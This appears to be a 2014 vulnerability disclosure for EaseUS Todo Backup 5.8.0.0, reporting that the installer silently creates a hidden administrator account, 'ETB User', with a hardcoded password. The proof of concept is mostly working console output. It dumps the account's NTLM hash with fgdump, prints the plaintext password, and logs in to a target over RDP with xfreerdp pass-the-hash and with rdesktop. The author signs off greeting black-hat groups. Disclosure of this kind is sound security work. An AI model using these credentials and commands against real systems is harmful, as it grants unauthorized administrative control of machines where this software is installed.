Vulnerable Software:
========================================
EaseUS Todo Backup 5.8.0.0  (build 20130321)

http://oi62.tinypic.com/108i4ut.jpg
========================================
Vuln: Hardcoded Administrative Password./Potential backdoor.
========================================
Impact:
An attacker exploiting this vulnerability could assume greater privileges on a compromised system, allowing them to potentially destroy data or take control of computers for malicious purposes.
========================================
About software:

Designed for small and medium-sized businesses.
Simplify backup & recovery management to minimize server downtime and ensure business continuity
========================================
Vuln details:

EaseUS Todo Backup 5.8.0.0  (build 20130321)
(other versions may also suffer from this but not tested)

when installing it on your machine creates hidden Administrative local account on your machine with hardcoded/broken password.

But this can be abused by remote attackers as well.
Using this administrative account remote/local attacker may completely compromise target machine.




Here is few Proof of concept demonstrations:


*Before installation ("net user" command on target machine)*

C:\Users\Administrator>NET USER

User accounts for \\WIN-CE1QUVOKT1H

---------------------------------------------------------------------------
Administrator            Guest
The command completed successfully.


*After installation complete: (Notice: we've got new local administrative account in silent manner!)*

C:\Users\Administrator>NET USER

User accounts for \\WIN-CE1QUVOKT1H

---------------------------------------------------------------------------
Administrator            ETB User                 Guest
The command completed successfully.


C:\Users\Administrator>NET USER

User accounts for \\WIN-CE1QUVOKT1H

---------------------------------------------------------------------------
Administrator            ETB User                 Guest
The command completed successfully.


C:\Users\Administrator>control userpasswords2

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>fgdump.exe
fgDump 2.1.0 - fizzgig and the mighty group at foofus.net
Written to make j0m0kun's life just a bit easier
Copyright(C) 2008 fizzgig and foofus.net
fgdump comes with ABSOLUTELY NO WARRANTY!
This is free software, and you are welcome to redistribute it
under certain conditions; see the COPYING and README files for
more information.

No parameters specified, doing a local dump. Specify -? if you are looking
elp.
--- Session ID: 2014-03-22-05-13-53 ---
Starting dump on 127.0.0.1

** Beginning local dump **
OS (127.0.0.1): Microsoft Windows Unknown Server (Build 9600) (64-bit)
Passwords dumped successfully
Cache dumped successfully

-----Summary-----

Failed servers:
NONE

Successful servers:
127.0.0.1

Total failed: 0
Total successful: 1




C:\Users\Administrator\Desktop>net user

User accounts for \\WIN-CE1QUVOKT1H

---------------------------------------------------------------------------
Administrator            ETB User                 Guest
The command completed successfully.


C:\Users\Administrator\Desktop>net user "ETB User"
User name                    ETB User
Full Name                    ETB User
Comment                      For EaseUS Todo Backup Central Management Cons
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            3/21/2014 10:12:52 PM
Password expires             Never
Password changeable          3/21/2014 10:12:52 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.


C:\Users\Administrator\Desktop>



C:\Users\Administrator\Desktop>type 127.0.0.1.pwdump
---------- SNIP ----------------
ETB User:1001:NO PASSWORD*********************:DE0F2B9AAEDF6BF59FED68AB06C334C2:
---------- SNIP ----------------


This hardcoded administive password filtrates in wild:

Pass: ~1EaseUs@AcsT

http://forum.insidepro.com/viewtopic.php?t=8677&start=420&sid=ed953995a5aa360b9c5be3f1472328d6




Trying to logon to this account:


Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
win-ce1quvokt1h\etb user

C:\Windows\system32>whoami /all

USER INFORMATION
----------------

User Name                SID
======================== =============================================
win-ce1quvokt1h\etb user S-1-5-21-140604893-3061859077-1642753036-1001


GROUP INFORMATION
-----------------

Group Name                                                    Type             S
ID          Attributes
============================================================= ================ =
=========== ==================================================
Everyone                                                      Well-known group S
-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S
-1-5-114    Group used for deny only
BUILTIN\Administrators                                        Alias            S
-1-5-32-544 Group used for deny only
BUILTIN\Users                                                 Alias            S
-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S
-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S
-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S
-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S
-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S
-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S
-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S
-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level                        Label            S
-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled


C:\Windows\system32>exit


Testing for lovely Pass The Hash technique:
Result is successfull against Server 2012 R2



[blackhat@localhost FreeRDP]$ xfreerdp -u "ETB User" -p DE0F2B9AAEDF6BF59FED68AB06C334C2 192.168.1.103
WARNING: Using deprecated command-line interface!
-p ****** -> /p:******
-u ETB User -> /u:ETB User
192.168.1.103 -> /v:192.168.1.103
connected to 192.168.1.103:3389
Closed from X11

PIC 1:
http://oi58.tinypic.com/2z8b7t4.jpg






Or using valid and hardcoded+known credentials:

[blackhat@localhost ~]$ rdesktop -u "ETB User" -p ~1EaseUs@AcsT 192.168.1.103
Autoselected keyboard map en-us
Connection established using SSL.
WARNING: Remote desktop does not support colour depth 24; falling back to 16



PIC 2:

http://oi60.tinypic.com/2j459pk.jpg





===================== WITH LOVE FROM AZERBAIJAN ========================

packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com
itsecuritysolutions.org
waraxe.us
exploit-db.com
insecurety.net
millikuvvetler.net
b3yaz.org

Special respect's to CAMOUFL4G3 && ottoman38 and to all
Azerbaijan Black hatz,Aa team && to All Turkish hackers.

/AkaStep